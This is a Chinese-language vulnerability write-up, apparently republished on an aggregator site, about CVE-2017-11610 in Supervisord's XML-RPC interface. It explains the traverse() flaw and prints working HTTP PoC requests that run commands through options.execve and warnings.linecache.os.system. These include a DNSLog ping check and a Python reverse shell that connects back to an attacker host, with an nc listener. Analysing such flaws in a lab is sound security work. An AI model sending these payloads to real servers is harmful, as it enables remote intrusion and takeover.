[CVE-2017-11610] Supervisord远程命令执行漏洞

Posted 4thrun

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CVE-2017-11610] Supervisord远程命令执行漏洞相关的知识,希望对你有一定的参考价值。

0x00 漏洞概述

编号为CVE-2017-11610

Supervisord是使用Python开发的进程管理程序,能够将命令行进程或服务变为后台运行的daemon(守护进程)。Supervisord拥有监控进程状态的能力,在进程异常退出时能够重新启动进程。

The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisord namespace lookups.

Supervisord在配置了Web接口后,服务器会启动一个XML-RPC服务器,端口为9001。在获取接口访问权限后,攻击者可以利用构造请求达成RCE。

影响版本:Supervisord < 3.0.1, 3.1.x < 3.1.4, 3.2.x < 3.2.4, 3.3.x < 3.3.3

0x01 漏洞分析

配置

Supervisord的功能角色类似于Linux自带的Systemd。相比于Systemd,Supervisord有几个特点:

  • 配置简单;
  • 作为简单的第三方应用,不与系统产生耦合;
  • 提供基于HTTP的API,支持远程操作。

Supervisord为C-S架构,Server以服务形式在系统后台运行,Client是一个命令行工具,根据用户需求调用API。

查看Supervisord的配置文件可知,默认情况下,Supervisord的Server端监听unix套接字unix:///tmp/supervisor.sock,Client配置的serverurl也是这个地址。

[unix_http_server]
file=/tmp/supervisor.sock   ; the path to the socket file
;chmod=0700                 ; socket file mode (default 0700)
;chown=nobody:nogroup       ; socket file uid:gid owner
;username=user              ; default is no username (open server)
;password=123               ; default is no password (open server)

;[inet_http_server]         ; inet (TCP) server disabled by default
;port=127.0.0.1:9001        ; ip_address:port specifier, *:port for all iface
;username=user              ; default is no username (open server)
;password=123               ; default is no password (open server)

[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL  for a unix socket
;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
;username=chris              ; should be same as in [*_http_server] if set
;password=123                ; should be same as in [*_http_server] if set
;prompt=mysupervisor         ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history  ; use readline history if available

Client去连接配置好的serverurl,使用RPC协议进行通信。通过XML,将methodNameparams传入服务端进行执行。如:

supervisorctl start [进程名]

此时start指令会调用supervisor.startProcess方法。

另外,如果设置了[inet_http_server]这一段(上述配置中被注释),即可将Supervisord监听在TCP端口上,这样其它外部程序也可以调用,默认配置在9001端口。

源码

这个漏洞的本质是不安全的对象引用+方法调用,类似于Java反序列化漏洞的意味。

Supervisord就是C-S架构的基于RPC(远程过程调用协议)的通信过程,Client通过RPC调用Server的某个函数并得到返回结果,如果出现Server端策略外的调用(如os.system)则导致RCE。

RPC出于安全考虑会设置函数映射,Client只能调用白名单中的部分函数,且函数名已经通过映射。

3.3.2版本中,如下处理RPC:

class supervisor_xmlrpc_handler(xmlrpc_handler):
    ...

    def call(self, method, params):
        return traverse(self.rpcinterface, method, params)

def traverse(ob, method, params):
    path = method.split(\'.\')
    for name in path:
        if name.startswith(\'_\'):
            # security (don\'t allow things that start with an underscore to
            # be called remotely)
            raise RPCError(Faults.UNKNOWN_METHOD)
        ob = getattr(ob, name, None)
        if ob is None:
            raise RPCError(Faults.UNKNOWN_METHOD)

    try:
        return ob(*params)
    except TypeError:
        raise RPCError(Faults.INCORRECT_PARAMETERS)

supervisor_xmlrpc_handler类用于处理RPC请求,其中的call方法才是真正执行远程调用的函数。call中使用了traverse,其函数逻辑是:

  1. 针对method,按点号分割存入数组path
  2. 遍历数组,获得name,依据为是否以_开头;
  3. 如果不以_开头,则获取ob对象的name属性,作为新的ob对象;
  4. 遍历完成后获得最终的ob对象,对其调用。

这个函数的最终效果就是:初始输入的ob对象下面的任意public方法,包括所有递归子对象的任意public方法,都可以被调用

此处的ob对象就是self.rpcinterface,但是(猜测)开发人员认为调用范围被限制在了该对象内部,就并没有做严格的白名单。然而CVE-2017-11610的发现者却发现,在self.rpcinterface.supervisor.supervisord.options对象下,存在方法execve,相当于直接调用了系统的os.execve,可以达成RCE了。

class ServerOptions(Options):
    ...    
    def execve(self, filename, argv, env):
        return os.execve(filename, argv, env)

PoC

POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 439

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.execve</methodName>
<params>
<param>
<string>/usr/local/bin/python</string>
</param>
<param>
<array>
<data>
<value><string>python</string></value>
<value><string>-c</string></value>
<value><string>import os;os.system(\'touch /tmp/success\');</string></value>
</data>
</array>
</param>
<param>
<struct>
</struct>
</param>
</params>
</methodCall>

漏洞发现者使用的调用链为self.rpcinterface.supervisor.supervisord.options.execve,并基于此构造PoC。实际上这个原始PoC存在遗憾,因为Python的os.execve()函数会使用新进程替代当前进程,导致Supervisord本身退出,也就没有权限维持。

如果使用Docker模拟靶机(或者生产环境真的使用了Docker),当基础进程Supervisord退出时,会导致整个Docker容器的退出,漏洞利用局限在了一次性的命令(如写文件)。

PoC改进

针对以上问题,通过发掘其它的调用链得以解决。存在supervisor.supervisord.options.warnings.linecache.os.system()可以利用(寻找非下划线_开头的属性中是否存在引入了os模块的情况而得到的结果),linecache具有更佳的利用条件。

构造PoC:

POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

PoC又一改进

在原先的self.rpcinterface.supervisor.supervisord.options中,存在一个fork方法是调用了系统的os.fork函数。os.fork的作用是在当前进程派生一个新的子进程。所以即使当前进程被意外终止,也不会导致整个Supervisord退出,因为派生进程还存活。

先构造新子进程:

POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.fork</methodName>
<params>
</params>
</methodCall>

然后发送最初版本的PoC即可。

0x02 利用流程

靶机:192.168.31.39,攻击机:192.168.31.197。

访问靶机

是一台版本3.3.2的Supervisord。

先行测试

针对无回显的机器,可以使用DNSLog进行初步验证。

POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>ping mcxx8o.dnslog.cn</string>
</param>
</params>
</methodCall>

确认漏洞可以利用。

反弹Shell

攻击机开启监听:

nc -lvp 6666

再次构造请求,写反弹Shell:

POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 425

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'192.168.31.197\',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/bash\',\'-i\']);"</string>
</param>
</params>
</methodCall>

一直处于请求状态说明执行成功,此时在攻击机就拿到了Shell:

0x03 补充

几个条件:

  • 版本符合
  • RPC可被访问
  • RPC弱密码或无密码

漏洞利用的关键是RPC的访问权限。实际上,默认配置的Supervisord只监听unix套接字,外部IP根本无法访问,所以实际上利用条件很苛刻。另外,即使拿到了低权限,也无法通过访问本地unix套接字进行提权——supervisor.sock的默认权限为0700,其它用户无法访问且能够访问的用户具有相同权限,也就无从提权。

当然,能够遇到RPC配置疏忽,得以查看服务器文件,已经是很不错的攻击成果了。

以上是关于[CVE-2017-11610] Supervisord远程命令执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章

安装supervisor

流量分析系统---启动流程

supervisor 配置篇

新的项目部署

supervisor进程管理利器

在 PostgreSQL 中透视表